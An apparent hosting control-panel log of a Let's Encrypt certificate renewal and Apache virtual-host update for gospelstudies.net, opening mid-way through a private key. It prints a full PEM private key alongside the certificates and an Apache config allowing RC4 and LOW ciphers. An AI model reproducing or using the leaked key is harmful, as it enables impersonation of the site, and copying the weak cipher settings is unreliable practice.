/BhPzBbfStpxKi2xCN3zH6xxORfZu4Paz6W07nQOyMirN5fdVzu/tfOdTmHJQEVC
A5PZvC+vPSalWdy3JIlRcFAz4MVLriJS+p7BYdjTfa59jAW5hif2JQINJ8nA+jcX
Gnb9yMEWWIbHIw6PG7/YJxr3vt51MQmkF2k2o5yTWna3Z+tJnQ4JgrHcd14H7uFZ
a27hIc3Puan8vqr7tF4P80lvifn74u+Wy58SZmm4rq7G0zNEiJQ8757ci7Fwyj3Z
X91uoTpaTcBzzYkULgI1My/8bm4ULlGv907JrTgzXoECgYEA8srYkMNNL8S3PSPy
3mV42bgvAa4p8f5tU7AzMNuEqnlKDsli4VmKWScHZ7MZyHrlSOD1kXryOgCFvMiW
mV8IkX2/EtvfNPcqBmdKSSTH1Qf2Awl/oqfKv8JGsm0izurP31RVTgIBxBmZitA6
NJUR2wWawQi7fajRzajR8QQ/O5sCgYEA8gsi94qcZbe6pAbNEdnwA7r8ihpGV8sJ
4Hat3p7ik788D/KEtXRu3RY8VRUwGme6LgPeYEeLZWfgBtXCxXwXMiK/u6qXqgVy
b9ACpBn381SojumctNYkLj1m6WE3YI+e2IoG2Lqfj0MiQjRO6xq0feK2p2skAbou
UXKX/NgG/bsCgYB8je2eDmNJrzxl5ExTJXFjGCcdUJD6MZE6jrkkRml/3ytL/Kp6
eyoLZIda/rmqbMm1opq4YH9lnCD/4VPJKMTHhuAAN8YBcQ8hK9ojPfg6ZJQjqLrO
4g+UYoFMRcrGphWwN55vn33ycUOgwAQsN5FqcCyc/PLam0HOpN3XLFuYIwKBgQCn
hImo5agkxipIx+Q6TKnPCyUpt9GjhYTKc5kWkMSkGSDKsMCkjXcFURRklot6WvwC
SO8pl5qkjmYAlQV+hMnRCzfD/OeG5sozFLYfOVHgeWFHt+ubRPI5hompUH1xOTVp
DO58JX21O3OEeot8MDlnPvfHm2GKSH8yI6uJdUIxbQKBgQCErELNFqOVsqsFuw0S
U2jttkyKmSNyOhhTqVALpdgUFbPRGiLBXPJRfMKQv5OPMQs9I4qkTDJI6HybYTAS
TbhCAzhHcal+P+idaSLF0hkYnUQG/9aW1+cpXNCtO2ODcuoWEH9whqS0SXvdpsFq
V6Ef5eI02ston7YdlHFXX0g6rw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-21 06:00:49: Establishing a connection
2025-10-21 06:00:49: Establishing a connection
2025-10-21 06:00:49: 

PUT: /tmp/pkp170600

#!/bin/bash
if [ -d "/var/www/gospelstudies_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-21 06:00:49: 

chmod 755 /tmp/pkp170600; /tmp/pkp170600; rm /tmp/pkp170600

2025-10-21 06:00:49: 


1


2025-10-21 06:00:50: Establishing a connection
2025-10-21 06:00:50: 

PUT: /tmp/pkp766066

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cat > 1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA
cat > ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA


2025-10-21 06:00:50: 

chmod 755 /tmp/pkp766066; /tmp/pkp766066; rm /tmp/pkp766066

2025-10-21 06:00:50: 




2025-10-21 06:00:58: Establishing a connection
2025-10-21 06:00:58: 

PUT: /tmp/pkp707824

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
rm 1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA
rm ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA


2025-10-21 06:00:58: 

chmod 755 /tmp/pkp707824; /tmp/pkp707824; rm /tmp/pkp707824

2025-10-21 06:00:58: 




2025-10-21 06:00:58: Establishing a connection
2025-10-21 06:00:58: 

PUT: /tmp/pkp916792

#!/bin/bash
temp_file=$(mktemp)
TARGET=9c0bc7e77c379755b26b0bae03e4a9f3.crt

cat > $temp_file <<'endmsg'
70:53:6a:5c:5d:92:b6:e9:0e:c4:3d:16:c3:50:58:c4

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBo1qOAyOzV88lC83bBn1ruWiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMjI4WhcNMjYwMTE5MDUwMjI3WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL165VVZ490YOKnwl1E25hBT+O3Sm6KOWj3nqt3Nx23aim8cnh7Jej8f1wMd
KRSimi3J4xiloOn2mKlGB1Dkyqk2ayXz3yXsxVdGYf0RY0PSWK0WKeqqYHBva9mB
go0HiFYIqfGNkWiub7iM7f48iVDbhBe/ws9GDGBcoev1cIwzUg4UqIyBzIaAzbyM
xFImtmdURd8WVmeWv/odzQ7vmaSA2mCA//EV7TJWZIHdsEfvaGbjjkVnwOtfWDlG
G+wiMmgOGsCxWHybkOf90SOqdy0d+eJy1oBt7tDOoVqhglPDC0h6n0XxjML/aHZ9
GYoaLzhUKIW6t5Hg3ck2ck/CfsMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+1/LW7J7Sbc7HIl1ErpBq7Yly9AwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFV
Uvvp6ynd+MMAAAGaBVtBwgAABAMARzBFAiAayYuwMklbn45kNrsxLfj/manwDYAX
+q6b7ptGW1sTlgIhAMZm/V5ni+0ukJcmvBC+E4nq216NRSP/i8+r1nue6FN7AHYA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGaBVtB1AAABAMARzBF
AiEAniy4+vMm8jZj56QqBFDB022T1zItD8miJO4djPk6Vv8CIFf3cKlPvNA88LC4
b2oPukONfp5olCOlcUIrMzLTfvOqMA0GCSqGSIb3DQEBCwUAA4IBAQAeTpwBckhG
gyQWURamJFqFRFzVjbZD3dHMcS73fv2ssICplYgznx9yRjWbS9kBtXenpqy5S/VC
bnsFQ4TzgzUIE4aUa26kACnQICt3hmSyqGYi8kYw9zsbX9VWRU+tMsSQ0J6LKsX4
6I3M+OWD+7Abpv6VF/+OncfUaG4VEzsg8A/7pyfkhZq/SchZcVURhvzcpZ2v1svl
i1ARrKr4ml7rob8/OPKFWyvZCs00uG5B/AtDbaZCr/6eUW+ffTQEPJvzTIE9xLlY
OY+80n1pzJZ9ZqSZqV2nEQ1BxIYoEevSirdUWxbSik94ST6oFjL9nfBJOCbHJrBl
Q3YnMrzuZs0C
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9euVVWePdGDip
8JdRNuYQU/jt0puijlo956rdzcdt2opvHJ4eyXo/H9cDHSkUopotyeMYpaDp9pip
RgdQ5MqpNmsl898l7MVXRmH9EWND0litFinqqmBwb2vZgYKNB4hWCKnxjZForm+4
jO3+PIlQ24QXv8LPRgxgXKHr9XCMM1IOFKiMgcyGgM28jMRSJrZnVEXfFlZnlr/6
Hc0O75mkgNpggP/xFe0yVmSB3bBH72hm445FZ8DrX1g5RhvsIjJoDhrAsVh8m5Dn
/dEjqnctHfnictaAbe7QzqFaoYJTwwtIep9F8YzC/2h2fRmKGi84VCiFureR4N3J
NnJPwn7DAgMBAAECggEAEk6ZcdGpjmcUsnaoaBRhzhoO5wt+NgqC9ZA4lg2Xwylm
Tq35KQhWY1r0LzzWB0RemSX0ZyE5luFYhqJZeptgaVD0sUoKuWNS/cezF/xiFt9v
6elGS4ICp1pclTtKHc4oggd8Q/ZlojOYX8BeDj5TFhjfflvsupIOCBFrI50nLqRs
Ld7ZFyAZdXejt/RorE4UVEZ/EkuQdBi+5tw+EJCxH2uWWWL2QjwQPGnJZs2F+YU0
c0Vh7gOVFAVHw5/T0i4V8ME3eJp4Z8aKpJhGWdc85H4bhE3RZaIIdDaOmxRBYYo0
F9IDgfr8ge8nrMqbFT9mpPvtE34vnKYuU9l13r30YQKBgQDdZl9Spe9Sz0ahErY1
2F95wCPvmM4z9RDUGpmeyK96xPU8bhT3fj7+Gyqczx/wWG1oAU7bwSuttgff1+5k
1+HmLHREQrTi/c17LaaOAFhwObAEV31vS36K0AGWcke7y9OJUqKynXMpc4lzR9Sz
0REhiWUUZLIanafHGprWK61w7wKBgQDbF363f6vXcvAPP0K4fltYX5hZJ0l6mPat
83E46kh2MlEA4RCtMO0ms8tSlyF/nEGO2fGjBBe5oevGSrf1vqAHtg5EEENAMwBx
dQHq6n46OfqnVdxuBWm6G6+oWuSsQpNDIb7iocMt5/mIBkw5GC/exPxBmGlbV+5B
IcKDtpsnbQKBgDPNTiRiWtq/UMFDRYrXs48jG8VltWmGv4dBKgxy3EwXZWHcR9+Y
lFiUNqY1+D0eE4swMylLy1J7st/2//psYJigchu+l+A8jiVyCvRStF6dwMdjSSAP
Q+5quNRgrNQN3tLUmOi92kIqnFBy0Bu6oQ19vj7FSL7dgHIfkXbnBU/VAoGAGsY3
RSOEE5NHRQW9GKDQdu9Pxe1oLGRPGRj8CDGRY2hov8vBZvjosmccfN5dSKQG2vdF
cV+JqrTgBF6TNqPyGJ8mBSlbnpfdAQCEmHnJrUHyoMp8YrGkpwrFH7Tj5y1Ho9eW
5UlReeW0d+wVGpEbIIVAMp/2mCQZyLngdIo3Uc0CgYBZf1ekIdZx4f+9B5lxzmxp
NNMw2DpfeeYHKVrwk8bn8AaidsoF2ntsEO+shiGI5h9Ayl5R2Ld8r8nN2rE2a41/
+RWQOeCPplzHsbq3lKRS4g1eK+r188pnMK8R/FJXnZ7kv6/veWVHmCSM9aj6J36R
LwJaChF7pGHpu0YpLq+SAg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-21 06:00:59: 

chmod 755 /tmp/pkp916792; /tmp/pkp916792; rm /tmp/pkp916792

2025-10-21 06:00:59: 


dir=/etc/ssl/certs


2025-10-21 06:00:59: 

PUT: /tmp/pkp491102

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/gospelstudies_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-21 06:00:59: 

chmod 755 /tmp/pkp491102; /tmp/pkp491102; rm /tmp/pkp491102

2025-10-21 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 45

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-21 06:00:59: 

PUT: /tmp/pkp771836

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=gospelstudies_www_net.conf
TARGET=/etc/apache2/sites-enabled/gospelstudies_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/gospelstudies_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf= 1'
fi


2025-10-21 06:00:59: 

chmod 755 /tmp/pkp771836; /tmp/pkp771836; rm /tmp/pkp771836

2025-10-21 06:00:59: 




2025-10-21 06:00:59: 

PUT: /tmp/pkp951994

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-21 06:00:59: 

chmod 755 /tmp/pkp951994; /tmp/pkp951994; rm /tmp/pkp951994

2025-10-21 06:00:59: 


.


2025-10-21 06:00:59: Establishing a connection
2025-10-21 06:00:59: 

PUT: /tmp/pkp493501

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-21 06:00:59: 

chmod 755 /tmp/pkp493501; /tmp/pkp493501; rm /tmp/pkp493501

2025-10-21 06:00:59: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-21 06:00:59: 

PUT: /tmp/pkp695827

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/gospelstudies_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-21 06:00:59: 

chmod 755 /tmp/pkp695827; /tmp/pkp695827; rm /tmp/pkp695827

2025-10-21 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf	1432

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
